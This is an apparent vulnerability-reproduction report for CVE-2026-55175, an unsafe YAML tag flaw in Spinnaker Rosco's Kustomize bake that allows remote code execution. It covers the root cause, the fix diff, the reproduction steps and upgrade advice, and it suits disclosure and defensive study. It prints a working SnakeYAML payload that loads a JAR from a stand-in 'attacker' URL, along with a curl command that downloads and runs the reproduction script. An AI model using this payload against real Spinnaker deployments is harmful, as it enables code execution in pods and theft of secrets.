CVE-2026-55175: Verified Reproduction
CVE-2026-55175: Spinnaker Kustomize bake unsafe YAML tag processing leading to RCE
CVE-2026-55175 is verified against spinnaker/spinnaker · github. Affected versions: <2026.1.1, <2026.0.3, <2025.4.4, <2025.3.4. Vulnerability class: RCE. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00289.
What Is CVE-2026-55175?
CVE-2026-55175 is a high-severity remote code execution vulnerability in Spinnaker's Rosco service via unsafe YAML tag processing during Kustomize manifest bakes. A remote Kustomize bake request can run attacker-controlled Java code on Rosco pods. Pruva reproduced it (reproduction REPRO-2026-00289).
CVE-2026-55175 Severity & CVSS Score
CVE-2026-55175 is rated high severity, with a CVSS base score of 7.5 out of 10.
High — serious impact or readily exploitable. Prioritize remediation.
Affected spinnaker/spinnaker Versions
spinnaker/spinnaker · github versions <2026.1.1, <2026.0.3, <2025.4.4, <2025.3.4 are affected.
How to Reproduce CVE-2026-55175
pruva-verify REPRO-2026-00289 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00289/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-55175
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
malicious kustomization.yaml served as Rosco Kustomize bake input artifact
- POST /api/v2/manifest/bake/KUSTOMIZE
- KustomizationFileReader.convert
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for CVE-2026-55175
CVE-2026-55175 is an unsafe YAML tag processing vulnerability in Spinnaker Rosco's Kustomize manifest bake path. In vulnerable Rosco builds, a remote Kustomize bake request sent to POST /api/v2/manifest/bake/KUSTOMIZE causes Rosco to fetch an attacker-controlled kustomization.yaml artifact from Clouddriver and parse it with SnakeYAML's general Constructor(Kustomization.class). That constructor honors arbitrary YAML tags, allowing attacker-controlled Java object construction during YAML deserialization. The reproduction demonstrates this by loading a !!javax.script.ScriptEngineManager payload from an attacker-controlled URLClassLoader and writing an execution marker from the Rosco JVM, proving remote code execution.
- Package/component affected: Spinnaker Rosco, specifically
io.spinnaker.rosco:rosco-manifestsand the Kustomize manifest bake flow exposed throughrosco-web. - Affected versions: Advisory-listed affected ranges are Spinnaker/Rosco versions prior to
2026.1.1,2026.0.3,2025.4.4, and2025.3.4on their respective release lines. The reproduction anchors the vulnerable build tof5cec213f8cf207843ed5a6929395960a1ca094f^(d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3) and the fixed build tof5cec213f8cf207843ed5a6929395960a1ca094f. - Risk level and consequences: High. An authenticated/authorized actor able to perform Kustomize bakes can cause code to execute inside Rosco pods. This can compromise the Rosco service account context, secrets reachable by the Rosco pod, and the integrity of generated deployment manifests.
Impact Parity
- Disclosed/claimed maximum impact: Remote code execution on Rosco pods during Kustomize bake operations.
- Reproduced impact from this run: Code execution in the Rosco JVM after an HTTP request to the real Rosco Kustomize bake endpoint. The payload is an attacker-controlled
ScriptEngineFactoryloaded from a URL in an unsafe YAML tag; its constructor writes a marker file proving execution. - Parity:
full - Not demonstrated: N/A — the full RCE chain was demonstrated end-to-end through the real HTTP endpoint.
Root Cause
The vulnerable code in KustomizationFileReader.convert() uses SnakeYAML's Constructor(Kustomization.class) which extends SafeConstructor but overrides getClassForName() to allow instantiation of arbitrary Java classes via YAML tags. When processing an attacker-controlled kustomization.yaml fetched from Clouddriver, the YAML content:
resources:
- !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker/payload.jar"]]]]
causes SnakeYAML to:
- Create a
java.net.URLpointing to the attacker's payload JAR - Create a
java.net.URLClassLoaderloading from that URL - Construct a
javax.script.ScriptEngineManagerwhich scans the classloader'sMETA-INF/services/javax.script.ScriptEngineFactoryentries - Instantiate the attacker's
ScriptEngineFactoryimplementation, executing arbitrary code in the constructor
The fix (commit f5cec213f8cf207843ed5a6929395960a1ca094f) replaces Constructor with SafeConstructor which only produces standard types (Map, List, String), then uses Jackson ObjectMapper.convertValue() to map the safe raw map to the Kustomization POJO. SafeConstructor does not honor arbitrary YAML tags, preventing the object instantiation attack.
Fix commit: f5cec213f8cf207843ed5a6929395960a1ca094f
Key diff:
- Representer representer = new Representer();
- representer.getPropertyUtils().setSkipMissingProperties(true);
- return new Yaml(new Constructor(Kustomization.class), representer).load(downloadFile(artifact));
+ Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions()));
+ Map<String, Object> rawMap = yaml.load(downloadFile(artifact));
+ return objectMapper.convertValue(rawMap, Kustomization.class);
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh - What the script does:
- Installs OpenJDK 17 if not present
- Reuses the prepared Spinnaker repository from the project cache (or clones from GitHub/mirror)
- Checks out the vulnerable commit (
d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3, parent of the fix) - Writes a Spring Boot integration test (
CVE202655175ApiRemoteReproTest.java) that:- Starts a real Rosco Spring Boot HTTP server on a random port via
@SpringBootTest(webEnvironment = RANDOM_PORT) - Stands up a WireMock Clouddriver peer that serves a malicious
kustomization.yamlwith!!javax.script.ScriptEngineManagerYAML tag - Builds a payload JAR containing a
ScriptEngineFactorythat writes a marker file on instantiation - Sends a real HTTP POST to
http://127.0.0.1:<port>/api/v2/manifest/bake/KUSTOMIZEwith a Kustomize bake request referencing the attacker artifact - Asserts that the payload marker file was created (proving code execution in the Rosco JVM)
- Starts a real Rosco Spring Boot HTTP server on a random port via
- Runs the test twice on the vulnerable commit (expecting
payloadExecuted=true) - Checks out the fixed commit and runs the test twice (expecting
payloadExecuted=falseand HTTP error status) - Verifies all four evidence markers match expectations
- Expected evidence:
- Vulnerable attempts:
clouddriverReached=true,payloadExecuted=true(RCE confirmed) - Fixed attempts:
clouddriverReached=true,payloadExecuted=false, HTTP status >= 400 (fix confirmed)
- Vulnerable attempts:
Evidence
- Log files:
bundle/logs/reproduction_steps.log— full script outputbundle/logs/vulnerable_attempt_1.log— first vulnerable Gradle test runbundle/logs/vulnerable_attempt_2.log— second vulnerable Gradle test runbundle/logs/fixed_attempt_1.log— first fixed Gradle test runbundle/logs/fixed_attempt_2.log— second fixed Gradle test run
- Evidence markers:
bundle/repro/vulnerable_attempt_1.evidence.txtbundle/repro/vulnerable_attempt_2.evidence.txtbundle/repro/fixed_attempt_1.evidence.txtbundle/repro/fixed_attempt_2.evidence.txt
- Key evidence excerpts (from vulnerable runs):
mode=vulnerable clouddriverReached=true payloadExecuted=true - Key evidence excerpts (from fixed runs):
mode=fixed clouddriverReached=true payloadExecuted=false - Environment: OpenJDK 17, Gradle 7.6.1, Spinnaker monorepo at vulnerable/fixed commits, Spring Boot test HTTP server, WireMock Clouddriver artifact peer
Recommendations / Next Steps
- Upgrade guidance: Upgrade Spinnaker/Rosco to version
2026.1.1,2026.0.3,2025.4.4, or2025.3.4or later, which contain theSafeConstructorfix. - Suggested fix approach: The applied fix is correct — replacing
ConstructorwithSafeConstructorand using Jackson for POJO mapping. Additionally, consider enabling SnakeYAML'sLoaderOptions.setAllowDuplicateKeys(false)and limiting tag processing viasetAllowRecursiveKeys(false)as defense-in-depth. - Testing recommendations: Add integration tests that send malicious YAML tags through the Kustomize bake endpoint to verify they are rejected. Consider adding SnakeYAML SafeConstructor usage as a code style requirement across all YAML parsing in Spinnaker services.
Additional Notes
- Idempotency: The script is idempotent — it checks out specific commits, writes fresh test files, and cleans up evidence markers before each attempt. Running it multiple times produces the same results.
- Surface validation: The reproduction exercises the real
api_remotesurface — a real Spring Boot HTTP endpoint accepting a real POST request to/api/v2/manifest/bake/KUSTOMIZE, with the Rosco service fetching the malicious artifact from a mock Clouddriver peer. This is the production path, not a library-level harness. - Negative control: The fixed commit (
f5cec213f8cf207843ed5a6929395960a1ca094f) is tested with the same payload and correctly rejects the unsafe YAML tag without executing the payload, confirming the fix.
CVE-2026-55175 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired. Phases: support · claim contract · reproduction · judge · variant analysis
Full session Replay every step — scrub the timeline or play it back.
Unknown error
Artifacts and Evidence for CVE-2026-55175
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-55175
FAQ: CVE-2026-55175
How was CVE-2026-55175 proven to reach code execution?
Which Spinnaker versions are affected by CVE-2026-55175?
How severe is CVE-2026-55175?
How can I reproduce CVE-2026-55175?
References for CVE-2026-55175
Authoritative sources for CVE-2026-55175 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.